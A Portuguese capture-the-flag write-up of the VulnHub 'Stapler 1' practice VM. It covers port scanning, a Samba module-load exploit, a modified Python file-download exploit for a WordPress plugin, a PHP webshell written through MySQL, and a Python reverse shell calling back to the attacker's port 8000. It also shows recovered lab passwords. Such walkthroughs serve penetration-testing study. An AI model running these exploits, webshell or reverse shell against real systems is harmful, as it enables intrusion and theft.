WriteUp Stapler 1

A Stapler 1 é uma VM(ou Box) que foi liberada no VulnHub, faz parte das máquinas do vulnhub quais são OSCP like. Resolvi ela com o objetivo de me preparar para a OSCP. Eu encontrei duas formas de resolver essa box, a primeira forma foi relativamente fácil, acredito que não foi a forma ideal, saiu uma nova falha que não existia quando a box foi liberada em 2016 que me permitiu ir de nada para root em menos de 10 segundos(holy fuck yea) e a segunda forma eu descobri depois quando procurei algumas writeups para ver como outros players resolveram e vi que tinha alguma coisa diferente e ai parei de ler e voltei pra box. Então segue a Writeup!

Box Name: Stapler: 1
Date release: 8 Jun 2016
Resource: https://www.vulnhub.com/entry/stapler-1,150/

Descrição:


+---------------------------------------------------------+
|                                                         |
|                                  __..--''\              |
|                          __..--''         \             |
|                  __..--''          __..--''             |
|          __..--''          __..--''       |             |
|          \ o        __..--''____....----""              |
|           \__..--''\                                    |
|           |         \                                   |
|          +----------------------------------+           |
|          +----------------------------------+           |
|                                                         |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|   Name: Stapler           |          IP: DHCP           |
|   Date: 2016-June-08      |        Goal: Get Root!      |
| Author: g0tmi1k           | Difficultly: ??? ;)         |
+- - - - - - - - - - - - - -|- - - - - - - - - - - - - - -+
|                                                         |
| + Average beginner/intermediate VM, only a few twists   |
|   + May find it easy/hard (depends on YOUR background)  |
|   + ...also which way you attack the box                |
|                                                         |
| + It SHOULD work on both VMware and Virtualbox          |
|   + REBOOT the VM if you CHANGE network modes           |
|   + Fusion users, you'll need to retry when importing   |
|                                                         |
| + There are multiple methods to-do this machine         |
|   + At least two (2) paths to get a limited shell       |
|   + At least three (3) ways to get a root access        |
|                                                         |
| + Made for BsidesLondon 2016                            |
|   + Slides: https://download.vulnhub.com/media/stapler/ |
|                                                         |
| + Thanks g0tmi1k, nullmode, rasta_mouse & superkojiman  |
|   + ...and shout-outs to the VulnHub-CTF Team =)        |
|                                                         |
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - -+
|                                                         |
|       --[[~~Enjoy. Have fun. Happy Hacking.~~]]--       |
|                                                         |
+---------------------------------------------------------+

Reconhecimento:

O alvo se encontra no endereço IPv4 local 172.16.0.105. Na etapa de reconhecimento, diversas portas foram identificadas no alvo 172.16.0.105.

$ sudo nmap -sS -sV -sC -oN stapler_nmap_tcp -p- -T 4  172.16.0.105 
Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-21 16:14 -02
PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 172.16.0.24
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)c
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (EdDSA)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 7
|   Capabilities flags: 63487
|   Some Capabilities: IgnoreSpaceBeforeParenthesis, LongPassword, SupportsLoadDataLocal, Support41Auth, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsTransactions, IgnoreSigpipes, InteractiveClient, FoundRows, ODBCClient, ConnectWithDatabase, LongColumnFlag, Speaks41ProtocolNew, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: [wh\x052yXTM,\x16\x7Fc\x7Fr5;s\x19+
|_  Auth Plugin Name: 88
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.60%I=7%D=12/21%Time=5DFE63E0%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1000,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0\x
SF:152\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01\x
SF:04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@\x
SF:a2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\xa2
SF:\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0f\
SF:xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\xae
SF:u\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99\x
SF:d3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8\x
SF:a0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\[\
SF:x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8b\
SF:xf4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe0\
SF:xdc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4\x
SF:d5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1\x
SF:af\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\xe2
SF::\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1bk
SF:\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\xcc
SF:\xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\xf
SF:d\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\xcc
SF:\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\xb0
SF:\xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\[r
SF:\xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\xaa
SF:k\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7fy
SF:\xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\x7
SF:f\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\xcb
SF:\[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf9\
SF:xcc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f\x
SF:a7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x81
SF:\xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI\x
SF:96\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\x8
SF:f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\xf
SF:4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\xcd
SF:\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc\x
SF:bcL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\xf
SF:0\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x04
SF:\xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GTQ\
SF:xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x11
SF:\?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 08:00:27:36:F1:C2 (Oracle VirtualBox virtual NIC)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -3h01m05s, deviation: 0s, median: -3h01m05s
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2019-12-21T15:25:48+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-12-21 13:25:48
|_  start_date: 1600-12-31 20:53:32

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec 21 16:27:21 2019 -- 1 IP address (1 host up) scanned in 754.53 seconds

Foi identificado que o serviço Samba está na versão Samba 4.3.9-Ubuntu a partir do script NSE do nmap smb-os-discovery. Uma investigação no serviço de SMB utilizou a ferramenta enum4linux(https://github.com/portcullislabs/enum4linux)que resultou em enumeração de shares e usuários do sistema alvo.

Enum4linux enumeração de shares.
enum4linux enumeração de usuários.

Versões do samba 3.5.0 < 4.4.14/4.5.10/4.6.4 possuem uma vulnerabilidade mapeada com a CVE 2017-7494 categorizada como ‘is_known_pipename()Arbitrary Module Load. Essa vulnerabilidade possui um exploit público(https://www.exploit-db.com/exploits/42084) que está presente nos módulos da ferramenta Metasploit.

Exploração:

Para a exploração, o exploit is_known_pipename foi selecionado dentro do framework Metasploit e será utilizado para a exploração do alvo.

Exploração utilizando metasploit framework no alvo 172.16.0.105 na porta 139.

O exploit permitiu o ofensor obter acesso ao sistema com usuário root(id 0). Uma vez que o invasor conseguiu acesso com privilégios de administrador, foi possível obter a flag no diretório /root/flag.txt

id
uid=0(root) gid=0(root) groups=0(root)
pwd
/tmp
cd /root/
ls
fix-wordpress.sh
flag.txt
issue
python.sh
wordpress.sql
cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

WriteUp Part 2 .

Foi bem fácil de ownar essa box para ser verdade, right? Pois é, como eu desconfiei a falha no samba saiu depois que a box foi lançada. A ideia não era exatamente explorar o samba para conseguir acesso root. Pois bem, depois de eu ter dado uma espiada em algumas writeups para ver se eu tinha concluido da forma correta ou não, entendi que não tinha nenhuma relação com um exploit no samba então parei de espiar e voltei para a box! Essa segunda parte segue com outra forma de ownar a box que acredito ser a ideia proposta pelo desenvolvedor.

Na etapa de reconhecimento foram identificados alguns serviços web nas portas 80/TCP e 12380/TCP.

80/tcp    open   http        PHP cli server 5.5 or later
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

A ferramenta Nikto foi utilizada para investigar a aplicação web na porta 80/TCP. Os resultados em sua maioria foram falsos positivos com exceção de .bashrc e .profile.

- Nikto v2.1.5/2.1.5
+ Target Host: 172.16.0.105
+ Target Port: 80
+ GET /: The anti-clickjacking X-Frame-Options header is not present.
+ -27071: GET /phpimageview.php?pic=javascript:alert(8754): /phpimageview.php?pic=javascript:alert(8754): PHP Image View 1.0 is vulnerable to Cross Site Scripting (XSS).  CA-2000-02.
+ -3931: GET /myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent: /myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent: myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
+ GET /modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(9456);%3E&parent_id=0: /modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(9456);%3E&parent_id=0: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
+ GET /modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: /modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
+ -4598: GET /members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22: /members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22: Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
+ -2946: GET /forum_members.asp?find=%22;}alert(9823);function%20x(){v%20=%22: /forum_members.asp?find=%22;}alert(9823);function%20x(){v%20=%22: Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
+ -3093: GET /.bashrc: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ -3093: GET /.profile: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.

A ferramenta GoBuster foi utilizada durante a investigação para uma técnica de enumeração de diretórios através de força bruta.

$ sudo docker run -v "/opt/SecLists/Discovery/Web-Content/:/wordlists" -v "`pwd`:/output" --rm devalias/gobuster -l -e -s 200,204,403 -u 'http://172.16.0.105/' -w /wordlists/raft-large-files.txt -t 100 -x php,cnf,conf,js,asp,aspx  -o /output/gobusterDir_raft -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 
Gobuster v1.3                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://172.16.0.105/
[+] Threads      : 100
[+] Wordlist     : /wordlists/raft-large-files.txt
[+] Output file  : /output/gobusterDir_raft
[+] Status codes : 200,204,403
[+] User Agent   : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[+] Show length  : true
[+] Extensions   : .php,.cnf,.conf,.js,.asp,.aspx
[+] Expanded     : true
=====================================================
http://172.16.0.105/.bashrc (Status: 200) [Size: 3771]
http://172.16.0.105/.bash_logout (Status: 200) [Size: 220]
http://172.16.0.105/.profile (Status: 200) [Size: 675]
=====================================================

Os diretórios localizados pelo GoBuster indicam que a aplicação na porta 80/TCP sejam referentes ao home de um usuário do sistema. O conteúdo dos arquivos não possui informações sigilosas que de alguma forma ajudariam o invasor a comprometer o alvo.

Conteúdo de arquivo http://172.16.0.105/.bashrc
Conteúdo de arquivo http://172.16.0.105/.profile

A outra aplicação web se encontra na porta 12380/TCP. Quando requisitado a aplicação 12380/TCP utilizando o protocolo HTTP ela retorna um erro 400. A aplicação retorna um status code OK quando acessada com o protocolo HTTPS, a url de acesso é https://172.16.0.105:12380.

Utilizando o Curl para identificar como a aplicação deve ser acessada.

Uma investigação na aplicação https://172.16.0.105:12380 teve como apoio a execução da ferramenta nikto. A ferramenta apresentou os diretórios /phpmyadmin/, /blogblog/ e /admin112233/ durante a investigação na aplicação web(HTTPS) na porta 12380/TCP

Execução de nikto em reconhecimento na aplicação https://172.16.0.105:12380

Foi identificado que o diretório /blogblog é provido por uma aplicação CMS(Web content management system) conhecida como wordpress https://172.16.0.105:12380/blogblog/. A ferramenta wpscan(https://github.com/wpscanteam/wpscan) foi utilizada para uma analise inicial contra a aplicação wordpress. O relatório do wpscan identificou usuários, plugins e algumas considerações de segurança.

operador@remember:/opt/wpscan$ ruby wpscan.rb --url https://172.16.0.105:12380/blogblog/  --disable-tls-checks --no-banner --enum ap,u
Plugins identificados por Wpscan.
Diretórios onde o indexess está habiltiado, permitindo a listagem do conteúdo do diretório.
Enumeração de usuários do wordpress.

Realizando um double check no resultado do wp-scan, foi detectado que o plugin advanced-video-embed-embed-or-playlists possui uma vulnerabilidade de LFI( ou Arbitrary File Download). A falha foi publicada em 04/01/2016 e existem exploits públicos disponíveis(https://www.exploit-db.com/exploits/39646). A vulnerabilidade permite que o atacante realize download de arquivos do servidor informando o file path para o parâmetro thumb. Uma vez que o parâmetro thumb receba o LFI, ele irá criar um post e irá armazenar o arquivo desejado no diretório https://172.16.0.105:12380/blogblog/wp-content/uploads/ com a extensão jpeg e um nome aleatório.

# POC - http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

Para a exploração, a feature searchsploit foi utilizada para encontrar um exploit para o plugin da aplicação do wordpress. A ferramenta searchsploit retornou da pesquisa o exploit 39646.py.

Consulta por exploit em searchsploit .

O exploit 39646.py possui um falha devido ao SSL, para contornar isso é necessário aplicar algumas correções, segue o modelo que eu corrigi para a execução do ataque:

#!/usr/bin/env python

# Exploit Title: Advanced-Video-Embed Arbitrary File Download / Unauthenticated Post Creation
# Google Dork: N/A
# Date: 04/01/2016
# Exploit Author: evait security GmbH
# Vendor Homepage: arshmultani - http://dscom.it/
# Software Link: https://wordpress.org/plugins/advanced-video-embed-embed-videos-or-playlists/
# Version: 1.0
# Tested on: Linux Apache / WordPress 4.2.2

#	Timeline
#	03/24/2016 - Bug discovered
#	03/24/2016 - Initial notification of vendor
#	04/01/2016 - No answer from vendor, public release of bug 


# Vulnerable Code (/inc/classes/class.avePost.php) Line 57:

#  function ave_publishPost(){
#    $title = $_REQUEST['title'];
#    $term = $_REQUEST['term'];
#    $thumb = $_REQUEST['thumb'];
# <snip>
# Line 78:
#    $image_data = file_get_contents($thumb);


# POC - http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=[FILEPATH]

# Exploit - Print the content of wp-config.php in terminal (default WordPress config)

import random
import urllib2
import re
import ssl

ssl._create_default_https_context = ssl._create_unverified_context
url = "https://172.16.0.105:12380/blogblog" # insert url to wordpress


randomID = long(random.random() * 100000000000000000L)

objHtml = urllib2.urlopenA(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content =  objHtml.readlines()
for line in content:
	numbers = re.findall(r'\d+',line)
	id = numbers[-1]
	id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
	if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
		urls=re.findall('"(https?://.*?)"', line)
		print urllib2.urlopen(urls[0]).read()

O Exploit possui informações hardcoded como por exemplo: o endereço IPv4 do alvo é hardcoded, precisa ser alterado no código e o arquivo que será o alvo do download também está hardcoded, precisa ser alterado no source do exploit antes da execução.

A execução do exploit não tem output algum, é apenas rodar o exploit.

python 39646.py

Caso o exploit tenha obtido exito, o conteúdo do arquivo será armazenado em um arquivo de nome número com extensão jpg no diretório https://172.16.0.105:12380/blogblog/wp-content/uploads/. Para obter o conteúdo do arquivo, uma requisição é dispara para a URL e o conteúdo é listado.

$ curl --insecure  -sq https://172.16.0.105:12380/blogblog/wp-content/uploads/ | html2text 
****** Index of /blogblog/wp-content/uploads ******
[[ICO]]       Name             Last_modified    Size Description
===========================================================================
[[PARENTDIR]] Parent_Directory                    -  
[[IMG]]       227309480.jpeg   2020-01-26 03:30    0  
[[IMG]]       359699755.jpeg   2020-01-26 03:12 6.9K  
[[IMG]]       539289915.jpeg   2020-01-26 03:30    0  
[[IMG]]       688797568.jpeg   2020-01-26 02:47 3.0K  
[[IMG]]       731289101.jpeg   2020-01-26 03:12    0  
[[IMG]]       778629747.jpeg   2020-01-26 02:47 3.0K  
[[IMG]]       846085283.jpeg   2020-01-26 02:49 3.0K  
[[IMG]]       1117704406.jpeg  2020-01-26 04:03 6.2K  
[[IMG]]       1474331826.jpeg  2020-01-26 03:29 1.7K  
[[IMG]]       2051349233.jpeg  2020-01-26 03:28 1.7K  
[[IMG]]       2062463332.jpeg  2020-01-26 03:30 2.8K  
[[   ]]       a                2020-01-26 03:36    6  
[[   ]]       fuck.php         2020-01-26 03:37   30  
===========================================================================
     Apache/2.4.18 (Ubuntu) Server at 172.16.0.105 Port 12380

O Conteúdo pode ser exibido ainda utilizando o comando curl, realizando uma requisição para o objeto desejado, não se trata de um binário, é um arquivo de texto apesar da extensão jpeg.

Credemciais em texto plano em arquivo wp-config.php.

As credenciais expostas no arquivo de configuração(wp-config.php) do wordpress permitem ao invasor o acesso ao banco de dados. O banco de dados é operado pelo serviço MySQL 5.7.12-0ubuntu1 na porta 3306/TCP e está exposto para a rede. Para validar as credenciais obtidas no arquivo de configuração do wordpress(wp-config.php) foi realizado um acesso ao mysql do servidor alvo através do cliente mysql nas configurações de conexão remota.

Acesso ao banco de dados utilizando mysql com configuração de acesso remoto.

A conexão com o banco de dados com o usuário root possibilitou o acesso as hashs de usuários do banco de dados wordpress.

Hashs de usuários extraidos do banco de dados, tabela wp_users.

A técnica de realizar a escrita da webshell através do banco de dados foi empregada. Antes de escrever a webshell é necessário obter informações sobre o DocumentRoot da aplicação web(12380/TCP). A falha de LFI encontrada anteriormente permite que outros arquivos sejam exibidos. As informações sobre a localização do DocumentRoot da aplicação web pode ser localizada no arquivo de configuração /etc/apache2/sites-enabled/000-default.conf. A alteração no exploit foi realizado, a linha referente ao arquivo que será exposto foi alterada para atender nossa nova necessidade.

objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../../../../../etc/apache2/sites-enabled/000-default.conf')

Caso não tenha ocorrido nenhum problema com a execução do exploit 39646.py, um novo arquivo estará no diretório /blogblog/wp-content/uploads/, o conteúdo desse arquivo é equivalente ao conteúdo do arquivo de configuração de websites do apache2 /etc/apache2/sites-enabled/000-default.conf pois foi dumpado.

$ curl  -sq https://172.16.0.105:12380/blogblog/wp-content/uploads/1117704406.jpeg --insecure | grep -i DocumentRoot
		DocumentRoot /var/www/https

Confirmado que o diretório da aplicação web se encontra em /var/www/https/.

Com as credenciais do banco de dados é possível efetuar o login na aplicação do phpmyadmin na url https://172.16.0.105:12380/phpmyadmin. Por questões didatícas os testes de escrita no file system através do banco de dados foram executados pelo phpmyadmin, poderiam ter sido executados pelo cliente mysql de qualquer forma. A execução dos testes para validar se um diretório tem permissão de escrita tem como metrica a capacidade do usuário do banco de dados de escrever em algum diretório onde a aplicação web esteja servindo. Os testes executados dentro do phpmyadmin na console de query, indicam que o diretório /var/www/https/blogblog/wp-content/uploads/ possui permissão de escrita, permitindo que a webshell seja escrita nesse diretório.

select '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/https/blogblog/wp-content/uploads/fuck.php'; 
Execução de escrita em filesystem através de acesso no banco de dados.
Funcionalidade da webshell, disparando o comando ls através do curl.

A execução da webshell foi realizada com sucesso, permitindo que o invasor execute comandos arbitrários no sistema através da web shell. Com o objetivo de obter uma shell mais interativa, foi possível utilizar um script em python que foi executado pela webshell onde uma conexão reversa é realizada para a máquina do atacante na porta 8000/TCP.

A shell reversa foi dispara para a webshell https://172.16.0.105:12380/blogblog/wp-content/uploads/fuck.php no parâmetro ?cmd= passado via metódo GET.

# Requisição: 
https://172.16.0.105:12380/blogblog/wp-content/uploads/fuck.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22172.16.0.24%22,8000));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
# Shell reversa em Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.0.24",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Quando a conexão reversa conecta no handler do atacante que está em listen na porta 8000, é permitido ao invasor obter acesso de usuário www-data(id 33) no sistema alvo.

Recebendo shell reversa com privilégios www-data(id 33)

Escalação de privilégios:

O diretório $HOME do usuário JKanode localizado no path /home/JKanode/ possui permissão de leitura. O arquivo de histórico(.bash_history) encontrado no diretório $HOME do usuário JKanode relevou senhas expostas em texto claro.

Arquivo /home/JKanode/.bash_history contém senhas em texto claro.

As credenciais identificadas foram utlizadas para realizar login via ssh(22/TCP) no sistema alvo.

JKanode:thisimypassword
peter:JZQuyIN5

O usuário peter possui permissão para sudo. Tal configuração foi abusada para obter uma shell com usuário root(id 0).

Utilização de funcionalidade do sudo para obter acesso root (id 0)

Uma vez com o usuário root, é possível acessar o arquivo /root/flag.txt e finalizar a box!

Conteúdo de arquivo flag.txt

Links Uteis:

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.